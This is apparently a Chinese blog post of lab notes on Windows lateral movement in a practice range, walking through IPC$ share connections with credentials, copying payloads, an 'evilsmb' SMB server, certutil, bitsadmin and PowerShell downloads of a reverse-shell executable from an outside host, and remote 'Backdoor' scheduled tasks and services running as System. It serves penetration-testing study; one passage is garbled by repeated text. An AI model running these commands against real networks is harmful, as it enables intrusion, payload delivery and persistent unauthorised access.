11月4日(内网横向移动(一))

以下环境采用的是红日靶场一;

横向移动中的文件传输

通过网络共享

执行以下命令:

plain 复制代码
net share

获得 Windows系统默认开启的网络共享,其中C 为 C 盘共享, A D M I N 为C盘共享,ADMIN 为C盘共享,ADMIN为系统目录共享,还有一个是IPC$共享。IPC(InternetProcess Connection是共享"命名管道"的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用当前所控主机与内网中的其他远程主机建立的网络共享连接,测试人员可以访问远程主机上的资源,如直接查看远程主机目录、在两台主机之间复制文件、读取远程主机上的文件等。而实战中往往会建立IPCS连接。因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等,这在进行内网横向移动中起着至关重要的作用.

建立 IPC$连接需要具备以下两个条件:① 远程主机开启了 IPC 连接;② 远程主机的 139 端口和 445 端口开放。

执行以下命令,与远程主机建立IPC连接:

plain 复制代码
net use \\192.168.52.138\IPC$ "Admine123" /user:"Administrator"

此时,执行以下命令,可以成功列出远程主机的C盘共享目录,

plain 复制代码
dir \\192.168.52.138\C$

使用"copy"命令,可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。例如,将一个二进制程序复制到远程主机的 C盘目录中。实战中可以将攻击载荷上传到远程主机,然后通过其他远程执行的方法来运行,如创建远程计划任务或服务等。

plain 复制代码
copy .\payload.exe \\192.168.52.138\C$

建立其他共享连接的命令与 IPC 连接的命令相同,需要指定远程主机的 I P 或主机名、盘符、用户名和密码。例如,连接远程主机的 C 连接的命令相同,需要指定远程主机的 IP 或主机名、盘符、用户名和密码。例如,连接远程主机的C 连接的命令相同,需要指定远程主机的IP或主机名、盘符、用户名和密码。例如,连接远程主机的C共享:

plain 复制代码
net use 192.168.52.138\C$ "Admin@123" /user:"Administrator"

搭建SMB服务器

SMB(Server Message Block,服务器消息块),又称 CIFS(Common Internet File System,网络文件共享系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通新等资源。SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。

实战中可以在测试人员自己的服务器或当前所控内网主机上搭建 SMB 服务器,将需要横向传输的文件如攻击载荷等放入 SMB 服务器的共享目录,并指定UNC 路径,让横向移动的目标主机远程加载 SMB 共享的文件。注意,需使用SMB 匿名共享,并且搭建的 SMB 服务器能够被横向移动的目标所访问到。

执行以下命令,即可在搭建一个名为 evilsmb;共享目录指向 /root/share 的 SMB名共享:

plain 复制代码
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

对于 Windows 系统,如果已经获取管理员权限,可以手动配置 SMB 匿名共享,也可以通过 Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名共享。

通过Windows自带工具

Certutil

Certutil 是 Windows 自带的命令行工具,用于管理 Windows 证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil 命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。

执行以下命令:

plain 复制代码
certutil -urlcache -split -f http://125.217.52.215:80/payload.exe C:\reverse_tcp.exe

通过 Certutil下载shell.exe,并将其保存到 C:\reverse tcp.exe。

BITSAdmin

Bitsadmin 是一个 Windows 命令行工具,可以用于创建、下载或上载作业,监视其进度。Windows7及以后版本的系统自带Bitsadmin工具。执行以下命令:

plain 复制代码
bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse_tcp.exe

创建一个名为 test 的 Bitsadmin 任务,下载 shell.exe 到本地,并将其保存到 C:\reverse_tcp.exe。

PowerShell

参考 PowerShell 远程加载执行的思路,可以通过创建 WebClient 对象来实现文件下载。

执行以下命令:

plain 复制代码
(New-object Net.Webclient).DownloadFile('http://IP:Port/shell.exe','C:\reverse_tcp.exe')

创建计划任务

常规利用流程

测试人员可以通过已有的 IPC 连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动。

① 利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

② 利用已建立的 IPC 连接或指定用户凭据的方式在远程主机上创建计划任务。执行以下命令:

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F
# /S,指定要连接到的系统;	/TN,指定要创建的计划任务的名称;	/SC,指定计划任务执行频率
# /MO,指定计划任务执行周期;	/TR,指定计划任务运行的程序路径;	/RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建

在远程主机上创建一个计划任务,每分钟执行一次上传的攻击载荷.

plain 复制代码
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor

立即启动该计划任务即可获取远程主机(192.168.52.138)的权限,也可以等待计划任务自行启动。

由于内网主机(192.168.52.138)无法访问外网,这里我们采用iox的流量端口转发;

不懂iox可以看一下前面的文章。

执行以下命令,将创建的计划任务删除;

plain 复制代码
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F

也可以通过创建计划任务在远程主机上执行系统命令,并将执行结果写入文件,然后通过 type 命令进行远程读取。

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe /c whoami > C:\result.txt" /RU System /F
plain 复制代码
type \\192.168.52.138\C$\result.txt	#读取执行结果

UNC路径加载执行

Windows 系统中使用 UNC 路径来访问网络共享资源,格式如下:

plain 复制代码
\\servername\sharename\directory\filename

其中,servername是服务器主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录和文件。

在远程主机上攻击载荷时,可以直接使用UNC 路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB 共享中加载攻击载荷并执行。这样可以省去手动上传攻击载荷的步骤。

执行以下命令,在远程主机(192.168.52.138)创建计划任务,使用UNC路径加载位于192.168.5.129共享中的攻击载荷并执行

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "\\192.168.5.129\evilsmb\payload.exe" /RU System /F

启动后,远程主机成功上线。由于内网主机无法上外网,所以无法本地实现,但是边缘服务器可以。

利用系统服务

创建远程服务

除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下。

1、利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

2、利用已建立的IPC连接在远程主机上创建系统服务。执行以下命令

plain 复制代码
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /k C:\payload.exe"
# binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

在远程主机上创建一个名为 Backdoor 的系统服务,服务启动时将执行上传的攻击载荷.

3、执行以下命令;

plain 复制代码
sc \\192.168.52.138 start Backdoor

立即启动该服务,此时虽然提示错误,但是已经成功获取了远程主机的权限.

4、攻击成功后,将创建的服务删除。

plain 复制代码
sc \\192.168.52.138 delete Backdoor
相关推荐
兴趣使然_3 小时前
【笔记】使用 html 创建网址快捷方式
笔记·html·js
aramae4 小时前
C++ -- STL -- vector
开发语言·c++·笔记·后端·visual studio
fen_fen5 小时前
学习笔记(32):matplotlib绘制简单图表-数据分布图
笔记·学习·matplotlib
饕餮争锋8 小时前
设计模式笔记_创建型_建造者模式
笔记·设计模式·建造者模式
萝卜青今天也要开心9 小时前
2025年上半年软件设计师考后分享
笔记·学习
吃货界的硬件攻城狮9 小时前
【STM32 学习笔记】SPI通信协议
笔记·stm32·学习
蓝染yy9 小时前
Apache
笔记
lxiaoj11110 小时前
Python文件操作笔记
笔记·python
半导体守望者11 小时前
ADVANTEST R4131 SPECTRUM ANALYZER 光谱分析仪
经验分享·笔记·功能测试·自动化·制造
啊我不会诶12 小时前
倍增法和ST算法 个人学习笔记&代码
笔记·学习·算法